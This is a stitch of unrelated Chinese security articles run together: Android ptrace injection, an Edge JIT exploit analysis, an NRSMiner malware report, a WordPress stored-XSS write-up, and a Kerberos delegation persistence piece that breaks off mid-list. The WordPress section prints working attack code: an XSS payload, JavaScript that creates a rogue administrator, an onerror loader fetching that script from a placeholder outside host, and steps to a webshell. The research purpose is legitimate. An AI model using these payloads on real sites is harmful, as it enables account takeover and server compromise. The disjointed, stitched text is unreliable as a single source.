2017年初，在滴滴安全沙龙上，滴滴出行安全专家——付超红，针对App的攻与防进行了分享。会后大家对这个议题反响热烈，纷纷求详情求关注。现在，付超红详细整理了《Android代码入侵原理解析》，在[
**滴滴安全应急响应中心的微信公众号**](http://mp.weixin.qq.com/s/Zr8V2WLjVWqwKxko5aEZag)开始连载。技术干货满满，敬请关注。
**1.代码入侵原理**
代码入侵，或者叫代码注入，指的是让目标应用/进程执行指定的代码。代码入侵，可以在应用进行运行过程中进行动态分析，也是对应用进行攻击的一种常见方式。我把代码入侵分为两种类型：静态和动态。静态代码入侵是直接修改相关代码，在应用启动和运行之前，指定代码就已经和应用代码关联起来。动态代码入侵是应用启动之后，控制应用运行进程，动态加载和运行指定代码。
**2.静态代码入侵**
静态代码入侵，有直接和间接的手段。
直接手段是修改应用本身代码。修改应用本身代码，在Android和iOS移动操作系统上，一般利用重打包的方式来完成。攻击者需要对应用安装包文件，完成解包、插入指定代码、重打包的三个步骤。现在用到的代码插桩技术和这个比较类似，只不过是代码注入的工作直接在编译过程中完成了。
间接手段是修改应用运行环境。关于应用运行环境，可以是修改和替换关键系统文件，如xposed通过修改应用启动的系统文件
/system/bin/app_process
实现代码注入。可以造出一套模拟的系统运行环境，如应用运行沙箱、应用双开器等。对于Android系统，可以自行修改系统编译rom。
**3.动态代码入侵**
这里以Android系统为例，说明动态代码入侵的整个过程（单指代码注入，不包括后续控制逻辑的实现）。动态代码入侵需要在应用进程运行过程中，控制进程加载和运行指定代码。控制应用进程，我们需要用到ptrace。ptrace是类unix系统中的一个系统调用，通过ptrace我们可以查看和修改进程的内部状态，能够修改目标进程中的寄存器和内存，实现目标进程的断点调试、监视和控制。常见的调试工具如：gdb,
strace, ltrace等，这些调试工具都是依赖ptrace来工作的。
关于ptrace，可以参考维基百科的说明：<https://en.wikipedia.org/wiki/Ptrace>
long ptrace(int request, pid_t pid, void *addr, void *data);
pid: 目标进程
addr: 目标地址
data: 操作数据
request：
PTRACE_ATTACH
PTRACE_DETACH
PTRACE_CONT
PTRACE_GETREGS
PTRACE_SETREGS
PTRACE_POKETEXT
PTRACE_PEEKTEXT
ptrace的功能主要是以下：
1）进程挂载
2）进程脱离
3）进程运行
4）读寄存器
5）写寄存器
6）读内存
7）写内存
进程被挂载后处于跟踪状态（traced
mode），这种状态下运行的进程收到任何signal信号都会停止运行。利用这个特性，可以很方便地对进程持续性的操作：查看、修改、确认、继续修改，直到满足要求为止。进程脱离挂载后，会继续以正常模式（untraced
mode）运行。
**3.1 动态代码注入的步骤**
1）挂载进程
2）备份进程现场
3）代码注入
4）恢复现场
5）脱离挂载
其中，代码注入的过程相对复杂，因为代码注入过程和cpu架构强相关，需要先了解Android系统底层的ARM架构。
**3.2 ARM架构简介**
ARM处理器在用户模式和系统模式下有16个公共寄存器：r0~r15。
有特殊用途的通用寄存器（除了做通用寄存器，还有以下功能）：
r0~r3: 函数调用时用来传递参数，最多4个参数，多于4个参数时使用堆栈传递多余的参数。其中，r0还用来存储函数返回值。
r13：堆栈指针寄存器sp。
r14：链接寄存器lr，一般用来表示程序的返回地址。
r15：程序计数器pc，当前指令地址。
状态寄存器cpsr：
N=1：负数或小于（negtive）
Z=1：等于零（zero）
C=1：有进位或借位扩展
V=1：有溢出
I=1：IRQ禁止interrupt
F=1：FIQ禁止fast
T=1/0：Thumb/ARM状态位
其中，T位需要注意。程序计数器pc(r15)末位为1时T位置1，否则T位置0。
代码动态注入过程中，前面的准备和后面的收尾工作比较简单，较复杂的是中间的代码注入。整体过程的基础代码如下：
**3.3 代码注入过程**
代码注入需要完成在目标进程内加载和运行指定代码。指定代码的一般形式是so文件。动态加载so需要使用到linker提供的相关方法。关于linker，请阅读《程序员的自我修养-链接、装载与库》。具体来说，代码注入过程分为三步，也就是三次函数调用：
1）dlopen加载so文件
2）dlsym获取so的入口函数地址
3）调用so入口函数
和正常调用函数相比，通过ptrace在目标进程中调用函数是完全不同的，是通过直接修改寄存器和内存数据来实现函数调用。具体来说，有几点需要注意：
**1）获取函数地址**
调用函数首先要知道函数地址。因为ASLR（地址空间格局随机化，Address Space Layout
Randomization）的影响，父进程孵化子进程时，系统动态库的基地址会随机变化，具体表现为，相同的系统动态库在不同子进程中的内存地址是不同的。我们可以利用下面的简单公式来计算得到我们需要用到的相关函数在目标进程中的地址：address
= base + offset
其中，base是函数实现所在动态库的基地址，offset是函数在动态库中的偏移地址。
在Linux系统中，可以通过/proc/<pid>/maps查看进程的虚拟地址空间（查看非当前进程需要root权限），包括进程的所有动态库的base。通过动态库文件名查询虚拟地址空间获取base。offset值是函数地址在动态库中的偏移，可以直接静态查看动态库文件获得函数偏移地址，也可以在其他应用运行时计算得出：offset
= address – base。具体到代码注入，需要用到的函数dlopen和dlsym，其实现代码所在文件为
/system/bin/linker（为什么开发过程中使用dlopen、dlsym, 编译时链接的是文件libdl.so，运行时链接的却是另外一个文件
/system/bin/linker，这里不做详述）。
**2）函数调用参数传递和返回值获取**
对于ARM体系来说，函数调用遵循的是 ATPCS（ARM-Thumb Procedure Call
Standard），ATPCS建议函数的形参不超过4个，如果形参个数少于或等于4，则形参由R0、R1、R2、R3四个寄存器进行传递；若形参个数大于4，大于4的部分必须通过堆栈进行传递。函数调用的返回值通过R0传递。
**3） 内存分配/获取**
像字符串类型这样的参数运行时需要占用内存。当然我们可以通过调用malloc来动态申请内存。但是，正如之前介绍的，通过ptrace进行函数调用的过程有些复杂。我们直接使用栈的内存空间更加方便。通过栈指针sp，我们将数据放到栈暂时不用的内存空间，也能省去释放内存空间的繁琐。
**4）函数调用后重获控制权**
代码注入需要多次函数调用，我们希望调用第一个函数之后，进程马上停下来，等待后续其他的函数调用。这里，我们需要使用到lr寄存器。通过设置lr为非法地址（一般设为0），可以使得函数返回时出错，触发非法指令的signal信号，进程停止。然后，我们可以重设进程状态，执行后面其他的函数调用。 | 社区文章 |
作者：Qixun Zhao(aka @S0rryMybad && 大宝) of Qihoo 360 Vulcan Team
作者博客：<https://blogs.projectmoon.pw/2018/08/17/Edge-InlineArrayPush-Remote-Code-Execution/>
#### 前言
回顾之前Edge出现的漏洞,在root cause属于回调的问题当中(不一定有用到回调的root
cause就是回调的问题),虽然出现的漏洞有很多个,但是无非可以分为三种情况:
第一种,GlobOpt阶段的bailoutKind没有加入或者处理不当,对应的一个例子:
[CVE-2017-11837](https://github.com/Microsoft/ChakraCore/commit/38a37acb69805c9e1197a58d4ab5fa84e1dfbacd
"CVE-2017-11837")
第二种,Lower阶段新加入的指令没有update GolbOpt阶段的bailoutkind,对应的一个例子:
[CVE-2017-8601](https://github.com/Microsoft/ChakraCore/commit/9326bda18a18a810b59f0ef39c0eabc1c8b6406f
"CVE-2017-8601")
最后一种是进行回调的时候没有update implicitCallFlags,导致GlobOpt和Lower阶段的工作全部白费:CVE-2017-11895
前段时间一直在学习与研究一些新的方向iOS的越狱(以后有机会也会写一系列关于越狱的文章),没有怎么关注JIT的代码.mosec之后回来看一看JIT相关的代码,发现漏洞可能没以前好找了,但是也不是没有.在最近我报告了一系列的Edge
漏洞给微软,在此后的一段时间我将会陆续分享这一系列的关于JIT的与以往不太一样的漏洞, 这些漏洞品相都是相当好, 并且最后能RCE的.
作为我一系列Edge JIT
漏洞的第一篇，这次我选择的是原理最简单的一个洞作为分享(属于单个opcode的问题)，当然也因为漏洞修补的时间刚好.在前几天的微软补丁中,修复了我两个Edge的漏洞,其中这篇就是CVE-2018-8372,另外一个并没有assign
CVE,但是在代码中已经修复,在以后的文章中会提到.
这一系列的文章需要读者对js或者浏览器漏洞有一定的研究基础,因为我们只会关注于JIT本身,而不会过多关注js和浏览器的一些基础概念.
#### JIT优化eliminate duplicate check
试想如下一段JS代码JIT会怎么处理:
Function jit(){
arr[1] = 1.1;
arr[2] = 2.2;
}
我们都知道js是一门动态语言,所以一开始肯定是先检查arr的类型,然后再进行赋值,但是由于opcode的原子性,在第二行语句的时候假如没有优化,肯定也会再次检查一次arr的类型.但是聪明的读者肯定也会发现,第二行的检查是没有必要的,刚刚才检查过,为啥又要检查一次啊,cpu闲的蛋疼啊,而且Edge还想你设置成默认浏览器呢,还要比V8快呢,怎么能这么多冗余的指令呢?于是这时候chakraCore就要引入JIT的其中一个优化措施,消除冗余的检查.下面我们看看最终经过GlobOpt阶段的IR是怎样的:
我们可以清楚看到,第二句JS代码没有`|BailOnNotArray|`,也就是没有了类型的检查.
但是也不是什么时候也能消除检查的,在中间存在回调的时候就不能消除检查:
Arr[1] = 1.1;
Object.property; => callback
Arr[1] = 2.2;
这里明显中间有一个回调,所以我们是需要把chakra中已经保存的type信息去掉,这时候chackaCore就引入了一个kill机制,其中一个相关的处理代码是在`|GlobOpt::CheckJsArrayKills|`.在审阅这个函数的时候,`InlineArrayPush
opcode`引起了我的注意:
代码注释已经说得很清楚,假如array的type与element
type一致,就不要把type信息去掉,这是一个比较激进的优化,而`InlineArrayPush
opcode`通过调用`Array.prototype.push`生成的.简单来说就是,假如生成这么一段代码:
arr[1] = 2.2;
arr.push(value);
arr[1] = 3.3;
假如arr的type信息是float array,value的type信息是float,前面保存的arr
type信息就不会被kill.换言之,在`|arr[1] = 3.3;|`中就不会生成`|baitOnNotArray|
IR`,没有了type类型的检查代码.是的,这样就非常快了,比v8还快,但是安全吗?需要注意的是,在push里面不能触发回调,因为InlineArrayPush会生成`|BailOutOnImplicitCallsPreOp|`,如果触发回调是会bailout的.
接下来要思考的问题就非常直观了,将一个float数值push到一个float array里面,在不触发回调的前提下,真的不会改变array的类型吗???
#### JavaScript undefined
在JS里面,有一个特殊的值undefined,表示这个变量未初始化.试想这样一个数组`|arr =
[1.1,,3.3];|`,不考虑prototype的情况下,当我们访问arr[1]的时候就会返回一个值undefined.这里就有一个疑问了,这个undefined的值在内存里究竟这么表示,所以我们先看一下这个arr的内存表示:
可以看到,arr[1]在内存的值是`0x8000000280000002`,这时候敏锐的读者可能就会想到了,这个值是在浮点数的表示范围内啊(详情查看IEEE
754),通过转换,我们可以知道这个值对应浮点数`-5.3049894784e-314`.所以为了区分`-5.3049894784e-314`和undefined,chakraCore在float
Array的|setItem|有一个特殊的处理:
当把这个值传入setItem,就会进行数组的转换,变成var
array,而在push函数里面,是通过调用setItem函数处理的.所以回到最初的问题:|将一个float数值push到一个float
array里面,在不触发回调的前提下,真的不会改变array的类型吗???|.答案是否定的.
#### Please DON’T kill my NativeArrays >_<
但是,通过如下pattern,我发现我的array type信息还是被kill了,即使我保证了arr的type信息是float
array,value的type信息是一个float:
Arr[1] = 1.1;
Arr.push(value);
Arr[1] = 3.3;
在push下面的arr赋值还是生成了bailOnNotArray.通过研究发现,在上面还有一个语句引起了我的注意,push语句会把missingValues相关的type信息删掉:
我们来看看这个MissingValues 的kill是怎么处理的:
原来如果chakraCore觉得arr的type信息中没有MissingValues,在经过push后,还是会把arr的type信息删去,当然这个十分容易bypass,只需要令`|valueInfo->HasNoMissingValues|`返回false,就会进入continue语句.换句话说,就是需要我们传入的arr中带有MissingValues.所以最后的PoC也就呼之欲出:
#### From Bug To Remote Code Execution
在这一系列的文章当中,我们对于利用的讲解步骤都只是会讲解到达成两个漏洞利用原语,第一是任意对象地址泄露,第二是任意地址对象fake.当有了这两个原语以后到最后的RCE网络上已经有大量公开的参考资料,大家可以自行参考查阅.
在PoC中,我们已经达到了第二种的漏洞利用原语,但是对于第一种的利用还是需要点技巧.因为在这个bug中,我们不能触发回调,而且只能插入一个固定的double
float
`-5.3049894784e-314`,所以很难泄露任意一个对象的地址.想挑战的读者可以先行尝试一些怎么利用,或者可以直接继续阅读查看怎么编写代码.
试想一下,在经过push语句后,|arr|对象的类型已经变成var array,换言之就是arr现在可以通过任何关于var
array的检查.所以现在|arr|可以用于var
array的赋值,而这个赋值是可以任意的一个对象.而我们在JIT的profile阶段必须要给对应的Symbol transfer一个var
array.数组的赋值对应的字节码是StElem_A,这里唯一需要注意的就是不要触发这个Opcode 的任何bailout.下面查看`|oarr[2] =
leak_object|`生成的对应IR信息:
可以看到,只需要array的type信息符合(oarr必须是var array,上文已经提到,|arr|通过push已经转换成var
array),MissingValue信息符合,index不大于数组的长度,即可当成一个正常的var
array赋值.通过赋值以后,现在arr[2]上已经有一个对象的地址,通过return
arr[2]即可得到该对象的地址.但是这个return的语句对应的native
code的|RegOpnd|是float类型,而不是var,所以会直接把对象地址以浮点数的方式返回给我们,从而泄露该对象的地址,因为|arr|数组现在JIT的profile信息中还是一个double
array.
这部分可能有点难以理解,下面我们结合PoC和注释进一步理解:
在每次JIT开始之前,都会经历一个profile阶段,用于收集对象的类型信息用于JIT时候生成相关的类型检查与访问代码.在Profile阶段,我传入了一个NoMissingValues为false的float
array,所以|arr[0]|和|arr[2]|的读写都是以float形式访问,换句话说,如果arr数组中存在对象的地址则可以通过|return
arr[2]|成功读取出来.但是必须在第一句|arr[0]|通过类型检查,也就是arr一开始必须为float array类型.
其次,我传入了一个var array类型的数组|oarr|,所以`|oarr[2] =
leak_object|`会把需要泄露的对象地址赋值到oarr[2]中,但是必须通过类型检查,也就是oarr在访问的时候必须为var array类型.
在漏洞触发的最后一次调用中,|arr|和|oarr|其实是同一个数组,在|arr[0] = 1.1|中,此时arr是float
array,通过检查,赋值成功.通过`|arr.push(value)|`触发漏洞,改变数组类型,变成var array类型.在第三行代码`|oarr[2]
= leak_object|`,因为|arr|和|oarr|是同一个数组,所以oarr当前为var array类型,通过检查,赋值成功.
最后一句是最关键的代码,我们可以看到,`|arr[0] = 1.1|`和`|return arr[2]|`中有两行代码,这两行代码必须不能kill
|arr|的type信息,否则就会重新类型检查,因为arr已经转变成var
array类型了,如果此时有类型检查就会检查失败然后bailout.上文已经详细分析了如果arr
NoMissingValues为false,`|arr.push(value)|`是不会kill arr的type信息的.所以现在剩下`|oarr[2] =
leak_object|`这句,对应的opcode是StElemI_A,`|CheckJsArrayKills|`代码如下:
我们可以看到,并没有任何情况会kill array的type信息.所以到最后没有任何类型检查,直接以浮点数的方式访问已经变成var
array类型的arr,返回刚刚赋值的对象|leak_object|,将浮点数转换为16进制,即可得到对象的地址.得到这两个原语以后,距离RCE就不远了.
#### 总结
在这个bug中,我们可以看到,不需要触发任何的回调,最后我们成功利用了这个bug达到任意对象地址泄露和任意地址对象fake.关于这个bug的利用我个人觉得还是有点技巧的,而这个bug的根本原因就是开发人员忘记了push中的一些特殊情况而导致的过激优化,我们需要时刻记着,在保持性能优化的同时,也要注重安全.
* * * | 社区文章 |
NSRminer加密货币挖矿机更新分析
2017年WannaCry爆发一年后，在亚洲仍然有大量被恶意软件感染未修复的机器。2018年11月中旬开始，研究人员发现了NSRminer加密货币挖矿机的最新版本。NSRminer挖矿机使用Eternal
Blue漏洞在本地网络中有漏洞的系统中传播，主要活跃区域在亚洲。大多数受感染的系统位于越南。
2018年11-12月NRSMiner按国家的感染数据
NRSMiner除了下载加密货币挖矿机到受感染的机器外，还可以下载更新的模块，并删除之前版本安装的文件和服务。
本文分析最新NRSMiner版本如何感染系统、修复建议等。
# NRSMiner传播方式
NRSMiner最新版本感染系统的方式有两种：
* 下载updater模块到已感染NRSMiner的系统上；
* 如果系统被修复，并且局域网内有机器感染NRSMiner。
## 方法1：通过Updater模块感染
如果系统感染了NRSMiner之前的版本，就会连接到`tecate[.]traduires[.]com`来下载updater模块到`%systemroot%\temp`文件夹中，下载后的文件名为`tmp[xx].exe`，其中`[xx]`是`GetTickCount()`API的返回值。
Updater模块执行后，就会从因编码的IP地址下载另一个文件到相同的文件夹：
不同updater模块文件中的IP地址列表
下载的文件`/x86`和`/x64`以`WUDHostUpgrade[xx].exe`文件的形式保存在`%systemroot%\temp`文件中，其中`[xx]`是`GetTickCount()`API的返回值。
### WUDHostUpgrade[xx].exe
`WUDHostUpgrade[xx].exe`首先检查mutex`{502CBAF5-55E5-F190-16321A4}`来确定系统是否感染最新的NRSMiner。如果感染，`WUDHostUpgrade[xx].exe`就会删除自己。否则，删除`MarsTraceDiagnostics.xml、snmpstorsrv.dll和MgmtFilterShim.ini`文件。
然后，该模块会从resource部分提取`MarsTraceDiagnostics.xml`和`snmpstorsrv.dll`文件到`%systemroot%\system32`或`%systemroot%\sysWOW64`文件夹。
然后复制`svchost.exe`的`CreationTime、LastAccessTime和LastWritetime`属性值，并用复制的值更新`MarsTraceDiagnostics.xml`和`snmpstorsrv.dll`的相同属性。
最后，`WUDHostUpgrade[xx].exe`会安装名为`snmpstorsrv`的服务，并用`snmpstorsrv.dll`注册为servicedll，然后删除自己。
WUDHostUpgradexx.exe动作的伪代码表示
### Snmpstorsrv service
新创建的Snmpstorsrv服务会从`svchost.exe -k
netsvcs`开始，然后加载`snmpstorsrv.dll`文件，`snmpstorsrv.dll`文件会常见多个线程来执行恶意活动。
Snmpstorsrv服务执行的活动
Snmpstorsrv服务首先会在`%systemroot%\system32`文件夹中创建名为`MgmtFilterShim.ini`的文件，写入`+`，修改创建时间、最后访问时间、最后写入时间为svchost.exe中的值。
然后，Snmpstorsrv服务会从`MarsTraceDiagnostics.xml`中提取出恶意URL和加密货币挖矿机的配置文件。
MarsTraceDiagnostics.xml文件中的恶意URL和挖矿机配置信息
在感染了老版本NRSMiner的系统中，恶意软件在更新NRSMiner前会删除老版本NRSMiner的所有组件。为了移除老版本的组件，新版本NRSMiner会引用一些可以在`snmpstorsrv.dll`文件中找到的字符串形式的服务、任务和文件；为了移除所有的`snmpstorsrv.dll`老版本，恶意软件引用了`MarsTraceDiagnostics.xml`文件中的列表。
要被删除的服务、任务、文件和文件夹列表
老版本的服务、任务、文件和文件夹被删除后，Snmpstorsrv服务会检查连接到下面的地址来更新挖矿机的组件：
reader[.]pamphler[.]com/resource
handle[.]pamphler[.]com/modules.dat
如果更新的挖矿机组件不可用，就下载和写入`MarsTraceDiagnostics.xml`文件。在下载了新的模块后，`%systemroot%\system32\TrustedHostex.exe`中的老版本挖矿机文件会被删除。新版本的挖矿机会在内存中解压缩，并将新提取出的挖矿机配置数据写入。
最新更新的挖矿机文件会被注入到`svchost.exe`中来进行加密货币挖矿。如果注入失败了，服务就会将挖矿机写入`%systemroot%\system32\TrustedHostex.exe`，然后执行。
内存中解压缩的挖矿机
然后，Snmpstorsrv服务会解压缩`wininit.exe`文件并将其注入到`svchost.exe`。如果注入失败，就将`wininit.exe`写入到`%systemroot%\AppDiagnostics\wininit.exe`中并执行。该服务还会打开端口`60153`并开始监听。
在其他2个线程中，服务会发送受感染的系统详情到地址：
* `pluck[.]moisture[.]tk`– MAC地址、IP地址、系统名、操作系统信息
* `jump[.]taucepan[.]com`– 处理器和内存特定信息
转发到远程站点的系统信息
根据发送的信息，恶意软件会下载和执行一个新的updater文件，该文件会执行上面Updater
Module描述的活动。Updater模块会被用于用最新的NRSMiner感染系统。
## 方法2：通过Wininit.exe和漏洞利用感染
在最新的NRSMiner版本中，wininit.exe负责处理漏洞利用和传播活动。`wininit.exe`会解压缩压缩的数据到`%systemroot%\AppDiagnostics\blue.xml`，并解压文件到`AppDiagnostics`文件夹。这些解压缩的文件中有一个是`svchost.exe`，这是Eternalblue
– 2.2.0的漏洞利用文件。然后删除`blue.xml`文件并将`x86.dll和x64.dll`文件写入`AppDiagnostics`文件夹。
Wininit.exe会在TCP`445`端口扫描本地网络来寻找其他可访问的系统。扫描后，会执行Eternalblue可执行文件来利用有漏洞的系统。利用信息保存在`process1.txt`文件中。
如果有漏洞的系统被成功利用，`Wininit.exe`会执行`spoolsv.exe`。`spoolsv.exe`是DoublePulsar –
1.3.1可执行文件，该文件会在被漏洞利用的系统中安装DoublePulsar后门。根据目标的操作系统类型，`Wininit.exe`会移动`x86.dll或x64.dll`文件，然后用`spoolsv.exe`后门注入目标系统的`lsass.exe`。
感染方法
### x86.dll/x64.dll
`x86.dll/x64.dll`会创建socket连接，并从受感染系统中的`%systemroot%\system32`文件夹中获取`MarsTraceDiagnostics.xml`文件。提取`snmpstorsrv.dll`，然后在新感染的系统中创建并开启Snmpstorsrv服务，然后重复整个感染循环，并找出其他有漏洞的机器。
### 挖矿机模块
NRSMiner使用XMRig Monero CPU挖矿机来生成Monero门罗币。使用的参数有：
挖矿机参数
-o, –url=URL ，挖矿服务的URL
-u, –user=USERNAME，挖矿服务器的用户名
-p, –pass=PASSWORD，挖矿服务器的密码
-t, –threads=N，挖矿机线程数
–donate-level=N，默认5% (5 minutes in 100 minutes)
–nicehash，启用nicehash.com支持
<https://labsblog.f-secure.com/2019/01/03/nrsminer-updates-to-newer-version/> | 社区文章 |
# WordPress存储型XSS漏洞分析
##### 译文声明
本文是翻译文章，文章原作者 fortinet，文章来源：fortinet.com
原文地址：<https://www.fortinet.com/blog/threat-research/wordpress-core-stored-xss-vulnerability.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
WordPress是世界上最流行的CMS（内容管理系统），占据全球60.4%的[市场份额](https://www.isitwp.com/popular-cms-market-share/)，这个数字远远高于第二名的Joomla!（5.2%的市场份额）。因此，在互联网上有超过三分之一的网站采用WordPress构建。
FortiGuard
Labs团队最近在[WordPress](https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/)中发现了一个存储型XSS（Cross-Site
Scripting）0day漏洞，这个XSS漏洞位于WordPress
5.0新增的Gutenberg编辑器中，该编辑器无法正确过滤Shortcode（短代码）错误消息中的JavaScript/HTML代码。如果远程攻击者具备Contributor（贡献者）或者更高权限，当受害者访问被攻击的网页时，攻击者就可以在受害者浏览器上下文中执行任意JavaScript/HTML代码。如果受害者具备更高权限（比如管理员权限），攻击者甚至可以攻破整个web服务器。
这个存储型XSS漏洞影响5.0至5.2.2版的WordPress。
## 0x01 漏洞分析
在WordPress
5.0中，用户可以在文章（post）中添加Shortcode块（block）。当在Shortcode块中添加特定的HTML编码字符（比如`<`）然后重新打开该文章时，WordPress就会显示一个错误消息，将`<`解码成`<`然后展示预览。
图1. 在Shortcode块中插入HTML编码字符
图2. Shortcode错误消息预览
我们可以使用`"><img src=1 onerror=prompt(1)>`这段PoC代码轻松绕过预览视图中的XSS过滤器。
图3. 将PoC代码插入Shortcode块
当受害者查看该文章时，就会在浏览器中执行XSS代码。
图4. WordPress Shortcode预览XSS
如果受害者刚好具备管理员权限，那么攻击者就可以利用该漏洞来获取管理员账户的控制权，利用WordPress内置的函数拿到shell，进一步控制整个服务器。
比如，攻击者可以在自己的web服务器上托管一个JavaScript文件（这里以[wpaddadmin.js](https://g0blin.co.uk/xss-and-wordpress-the-aftermath/)为例），这段JavaScript代码会添加一个WordPress管理员账户，用户名为`attack`，密码为`attack`。
// Send a GET request to the URL '/wordpress/wp-admin/user-new.php', and extract the current 'nonce' value
var ajaxRequest = new XMLHttpRequest();
var requestURL = "/wordpress/wp-admin/user-new.php";
var nonceRegex = /ser" value="([^"]*?)"/g;
ajaxRequest.open("GET", requestURL, false);
ajaxRequest.send();
var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);
var nonce = nonceMatch[1];
// Construct a POST query, using the previously extracted 'nonce' value, and create a new user with an arbitrary username / password, as an Administrator
var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&[email protected]&pass1=attacker&pass2=attacker&role=administrator";
ajaxRequest = new XMLHttpRequest();
ajaxRequest.open("POST", requestURL, true);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.send(params);
然后攻击者可以使用如下PoC来插入JavaScript。
"><img src=1 onerror="javascript:(function () { var url = 'http://aaa.bbb.ccc.ddd/ wpaddadmin.js';if (typeof beef == 'undefined') { var bf = document.createElement('script'); bf.type = 'text/javascript'; bf.src = url; document.body.appendChild(bf);}})();">
图5. 插入XSS代码以添加管理员账户
一旦具备高权限的受害者查看该文章，就会创建`attacker`管理员账户。
图6. 执行XSS代码
图7. XSS代码成功创建具备管理员权限的`attacker`账户
随后攻击者可以修改已有的php文件，改成webshell代码，以便接管目标web服务器。
图8. 使用攻击者账户添加webshell
图9. 控制web服务器
## 0x02 解决方案
FortiGuard
Labs向WordPress反馈了这个0day漏洞，官方很快发布了相应补丁。如果大家正在使用存在漏洞的WordPress版本，请尽快升级到最新版，或者及时打上补丁。 | 社区文章 |
作者：n1nty@360 A-TEAM
公众号：[n1nty](https://mp.weixin.qq.com/s/gw1EIMnXQ9tCZLkdvKdzAg "n1nty")
正文开始前，再次感慨一下 mimikatz 与 impacket
二位作者的强大。在有了本文的思路后本来想着自己写一下代码实现一个小工具，来让本文显得有点技术含量，一查资料，发现他们早都已经把相关工具写好了。 :-(
所以，决定直接用 impacket
已经实现好的工具来跟大家介绍一下。但是，为了避免这篇文章堕落成一篇单纯的工具介绍类的水货，我会像以前一样，在文章内简述涉及到的相关背景知识。想深入真正地理解的话，还是建议自己去看一下
Kerberos RFC，我在最后会贴出我看过的与本文有关的资料。
#### 黄金票据，golden ticket
所谓黄金票据，就是我们自己通过窃取 KRBTGT 这个账号的 NTHASH 或者 AESKEY 后，自己离线伪造的 TGT，伪造 TGT 的全程不经过
KDC。 正常情况下 TGT 全是由 KDC 在验证了客户端的身份后（kerberos pre-authentication）发给客户端的。KDC
会对自己所发出去的所有票据进行加密，可以支持多种不同加密算法，不同的加密算法有不同的 key。
比如支持的加密算法有：
我们通过 mimikatz 可以导出 KRBTGT 账号的这几种 KEY，然后离线生成加密的 TGT，这就是黄金票据的原理。我们可以利用 mimikatz
或者 impacket 的 ticketer.py 来生成黄金票据。
说到了这里，你是否明白 pass the key 的原理？:-)
#### 变种黄金票据优点及缺点
前面说到了，要生成黄金票据，我们是需要 KRBTGT 这个账号的相关 KEY 的（NT HASH，AES KEY）。而且一旦 KRBTGT
的账号密码被改过，以前生成的黄金票据就作废了。
而利用 Kerberos delegation 做成的另类的黄金票据，并不直接依赖于 KRBTGT
账号。当然也有它的不足之处，就是它会在系统日志里面留下一些痕迹，而且需要我们对域用户进行一些改动。
#### Delegation，委派
假如用户 A 利用 windows 身份验证（或者其他验证方式也可以，更复杂一些而已）登陆了远程服务器上的 Service1， **Service1
随后利用用户 A 的身份向另一台服务器上的 Service2 发起了某个请求** ，这就是委派。
实际的场景有可能是用户 A 利用 Windows 身份验证访问了一个网站，请求网站内的一个文件，但是这个网站服务器本身并没有这个文件， **它需要利用用户
A 的身份去访问另一台服务器** ，从另一台服务器上获取这个文件后再返回给用户。为什么网站会利用用户 A
的身份去获取文件，而不是直接利用网站自身的权限去获取呢？因为要充分利用 Windows
系统自身提供的权限控制啊，也许有的用户有权限访问那个文件而有的用户没有权限啊。
#### Kerberos delegation
前面说到了，delegation 的意思就是客户在访问一个服务的时候，这个服务利用客户端的身份又去访问了另一个服务。 delegation 是为了解决
authentication double hop 问题。我之前 PSEXEC 那篇公众号文章从另一个角度提到了 double hop。
user --> service1 --(以 user 的身份)--> service2
kerberos 实现 delegation 有以下几种方案：
#### Forwardable TGT/Unconstrained delegation
指的是 user 在访问 service1 的时候，如果 service1 的账号开启了 unconstrained delegation
的功能（需要域管理员进行设置），则 user 访问 service1 时会将自己的 TGT 发送给 service1。随后 service1 就可以利用这张
TGT 以 user 的身份 **去访问任何服务，所以它叫 “无限制委派” 或者 “非受限委派”。** 这造成了很大的风险，用户的身份可能被这个
service1 滥用。
如果你打下一台有 unconstrained delegation 服务的机器，也许你可以从这台机器上导出大量用户的 TGT。为了避免这个问题，出现了
constrained delegation
#### Constrained delegation，受限委派
前面说到 unconstrained delegation 有可能导致 service1会 滥用 user 身份的风险。所以出现了 constrained
delegation。实现的方式就是，域管理员对 service1 的账号加以限制，当 user 访问 service1 的时候，使得 service1
只能利用 user 的身份去访问 service2，而无法像 unconstrained delegation 那样去访问域中的任何服务。
#### S4U, Service for user
S4U 是微软对 MIT Kerberos 的一个扩展，这个扩展带来了两个功能：
1. Service for User to Proxy (S4U2proxy)，这个就是 constrained delegation
2. Service for User to Self (S4U2self)，这个也被称为 Protocol transition
#### Protocol transition
也就是 S4U2self (Service for User to Self)，作用就是验证协议切换。
user --> service1 --> service2
user 访问了 service1 后，service1 要利用 kerberos 协议以 user 的身份去访问 service2，但是这要求 user
访问 service1 的时候，也是利用的 kerberos 协议去与 service 1 进行验证的。那么如果不是的话怎么办呢？
service1 有可能只是一个网站，user
在登陆这个网站的时候只是像登陆普通网站一样在一个表单里面输入了一个账号密码而已，而且这个账号密码可能只是网站内部的账号密码，并不是域的账号密码。
这个时候就需要 protocol transition 来进行验证协议切换。
这里涉及到 S4U 协议的细节内容，不太好描述，有兴趣的直接看协议文档吧：
<https://msdn.microsoft.com/en-us/library/cc246071.aspx>
简而言之一句话： 如果 service1 有了 protocol transition 权限的话，service1 可以 **以任何一个域内用户的身份**
向 KDC 申请一张访问 service1 自身的票据， **而且不需要知道目标用户的密码** 。比如 service1 可以以域管理员
Administrator 的身份向 KDC 申请一张访问
service1自身的票据。（如果你能找到这么一个服务，并且可以通过这个服务执行代码的话，你是有可能直接利用这个功能提权至域管理员的，当然这个时候你获取到的域管权限是被限制在这台机器上的，无法访问别的服务器。）
#### 汇总
背景知识介绍完成，下面讲一下如何利用 S4U2self 与 S4U2Proxy 的功能来实现变种黄金票据。这肯定是建立在你已经有了域管权限的基础上。
假如有域 EAST.COM
域控名为：2008-EAST-DC
域控 IP 为：192.168.99.150
另一台域内机器名：2008-DM1，IP 为 192.168.99.101
我自己使用的机器为 MAC，IP 为 192.168.99.1
同时，我的 /etc/hosts 中有如下配置，这是为了照顾 impacket 的代码逻辑（或者说 kerberos 的工作逻辑，在 kerbeors
的世界里机器的 netbios name 或 FQDN 是很重要的），否则工具无法正常工作：
192.168.99.101 2008-dm1
192.168.99.150 east.com
192.168.99.150 2008-EAST-DC
1.我们需要有一个普通域账号（你可以新建一个，或者选一个不怎么常用的），且这个域账号的密码一定要非常强壮。防止被别人利用 kerberoast
